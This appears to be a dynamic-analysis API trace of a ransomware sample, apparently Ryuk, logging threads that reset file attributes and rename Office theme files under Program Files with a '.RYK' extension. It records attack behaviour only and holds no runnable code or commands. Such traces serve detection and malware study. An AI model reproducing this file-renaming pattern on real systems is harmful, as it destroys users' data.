	[0171.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.853] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 485
	os_tid = 0xfcc

	[0171.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", dwFileAttributes=0x80) returned 0
	[0171.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.851] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 486
	os_tid = 0xfd0

	[0171.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 487
	os_tid = 0xfd4

	[0171.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.863] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 488
	os_tid = 0xfd8

	[0171.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 489
	os_tid = 0xfdc

	[0171.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", dwFileAttributes=0x80) returned 0
	[0171.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 490
	os_tid = 0xfe0

	[0171.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", dwFileAttributes=0x80) returned 0
	[0171.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 491
	os_tid = 0xfe4

	[0171.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.876] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 492
	os_tid = 0xfec

	[0171.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 493
	os_tid = 0xff0

	[0171.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", dwFileAttributes=0x80) returned 0
	[0171.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 494
	os_tid = 0xff4

	[0171.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", dwFileAttributes=0x80) returned 0
	[0171.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 495
	os_tid = 0xff8

	[0171.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.889] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 496
	os_tid = 0xffc

	[0171.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.898] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 497
	os_tid = 0x568

	[0171.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", dwFileAttributes=0x80) returned 0
	[0171.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.896] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 498
	os_tid = 0x150

	[0171.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", dwFileAttributes=0x80) returned 0
	[0171.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.901] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 499
	os_tid = 0x99c

	[0171.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.903] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 500
	os_tid = 0x67c

	[0171.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.906] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 501
	os_tid = 0xcc8

	[0171.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", dwFileAttributes=0x80) returned 0
	[0171.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.908] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 502
	os_tid = 0x868

	[0171.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", dwFileAttributes=0x80) returned 0
	[0171.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 503
	os_tid = 0x5b0

	[0171.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.913] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 504
	os_tid = 0xba8

	[0171.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 505
	os_tid = 0x9b4

	[0171.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", dwFileAttributes=0x80) returned 0
	[0171.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 506
	os_tid = 0xde4

	[0171.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", dwFileAttributes=0x80) returned 0
	[0171.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 507
	os_tid = 0xca8

	[0171.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 508
	os_tid = 0xcac

	[0171.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
